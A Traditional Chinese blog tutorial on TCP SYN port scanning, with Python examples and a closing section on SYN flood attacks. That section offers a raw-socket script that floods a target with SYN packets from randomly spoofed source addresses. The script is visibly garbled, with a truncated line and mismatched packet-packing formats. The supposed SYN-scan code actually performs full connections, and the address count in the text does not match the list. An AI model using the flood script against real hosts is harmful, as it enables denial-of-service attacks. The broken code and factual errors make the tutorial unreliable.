一、tcpsyn掃描又稱為
tcpsyn掃描是一種用於檢測TCP埠開放狀態的技術,也被稱為半開掃描。它通過發送一個SYN包給目標主機,如果目標主機回應一個SYN/ACK包,則表示對應埠是開放的,反之則表示該埠是關閉的。tcpsyn掃描使用一種輕量級、準確的方式對埠進行快速掃描,它通常是進行滲透測試時的重要一步。
二、tcpsyn掃描開放了5個地址,22埠
在進行tcpsyn掃描之前,我們需要先確定要掃描的目標地址和埠。以下是tcpsyn掃描開放了5個地址和22埠的示例代碼:
import socket target_host = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.4", "192.168.1.5", "192.168.1.6"] target_port = 22 for address in target_host: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(0.1) try: client.connect((address, target_port)) print("[*] %s:%d/tcp open" % (address, target_port)) except: print("[*] %s:%d/tcp closed" % (address, target_port)) client.close()
三、tcpsyn掃描命令
使用tcpsyn掃描可以通過以下命令實現:
nmap -sS [target]
使用nmap工具里的-sS參數可以執行tcpsyn掃描。
四、tcpsyn掃描的原理
tcpsyn掃描的原理是基於TCP的三次握手機制。在TCP通信過程中,客戶端首先向伺服器發送一個SYN包,該包中包括了客戶端的初始序列號。伺服器接收到SYN包後會向客戶端發送一個SYN/ACK包,該包中包括了伺服器的初始序列號和確認號。客戶端接收到伺服器的SYN/ACK包後會向伺服器串發一個ACK包來確認連接建立。
在進行tcpsyn掃描時,客戶端只發送一個SYN包,不發送ACK包。在得到伺服器的SYN/ACK包後,客戶端不再往下執行,而是直接關閉對應的TCP連接,從而避免了連接建立的過程。這樣一來,我們就可以通過觀察TCP響應包的行為來判斷埠的狀態。
五、tcpsyn掃描的優缺點
tcpsyn掃描作為一種快速、準確的埠掃描技術,具有以下優點:
- 可以識別開放和關閉的埠。
- 幾乎不會在目標主機日誌中留下任何痕迹,因為客戶端只發送一個SYN包,連接不會真正建立。
- 可以避免由於全連接掃描帶來的風險,如DoS攻擊。
但tcpsyn掃描也存在一些缺點:
- 目標主機可能會通過啟用SYN Cookies來檢測SYN洪水攻擊,從而檢測出SYN包的掃描行為。因此,tcpsyn掃描需要控制掃描速度,否則可能會被目標主機檢測到。
- 由於SYN包容易被網路過濾器和IDS檢測到,因此tcpsyn掃描在某些情況下可能無法成功。
六、tcpsyn掃描中利用的標誌位
在tcpsyn掃描過程中,我們使用了TCP協議中的SYN標誌位。SYN(Synchronous)標誌位用於建立連接,因此在客戶端發送SYN包時,目標伺服器會返回一個SYN/ACK響應包,從而判斷掃描目標埠是否開放。
七、tcpsyn攻擊
tcpsyn掃描是一種探測目標主機開放埠狀態的手段,但是如果將它用於攻擊,則被稱為tcpsyn攻擊。tcpsyn攻擊利用TCP協議中的漏洞,攻擊者帶著合法的地址向目標主機發送大量的SYN包,消耗目標主機的系統資源,造成DoS攻擊的結果。
以下是Python代碼中模擬的tcpsyn攻擊示例:
import socket, random, struct target_host = "192.168.1.1" target_port = 22 for i in range(32): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.settimeout(0.01) src_ip = "%d.%d.%d.%d" % (random.randint(1,255),random.randint(1,255),random.randint(1,255),random.randint(1,255)) saddr = socket.inet_aton(src_ip) daddr = socket.inet_aton(target_host) ihl = 5 version = 4 tos = 0 tot_len = 40 id = random.randint(18000,65000) frag_off = 0 ttl = 128 protocol = socket.IPPROTO_TCP check = 10 saddr = socket.inet_aton(src_ip) daddr = socket.inet_aton(target_host) tcp_header = struct.pack('!HHLLBBHHH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 0, 6, check, 0) psh = struct.pack("!4s4sBBH", saddr, daddr, 0, protocol, len(tcp_header)) psh = psh + tcp_header sum = 0 count_to = (len(psh) / 2) * 2 count = 0 while count < count_to: this_val = ord(psh[count+1])*256 + ord(psh[count]) sum = sum + this_val sum = sum & 0xffffffff count = count + 2 if count_to > 16) + (sum & 0xffff) sum = sum + (sum >> 16) check = ~sum check = check & 0xffff tcp_header = struct.pack('!HHLLBBH', random.randint(1,65535), target_port, random.randint(1,4294967295), random.randint(1,4294967295), ihl, 2, check) pack = struct.pack('!4s4sBBH', saddr, daddr, 0, protocol, len(tcp_header)) pack += tcp_header s.sendto(pack, (target_host, 0)) s.close() print("[*] Sending tcpsyn attack to %s:%d" % (target_host, target_port))
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/307102.html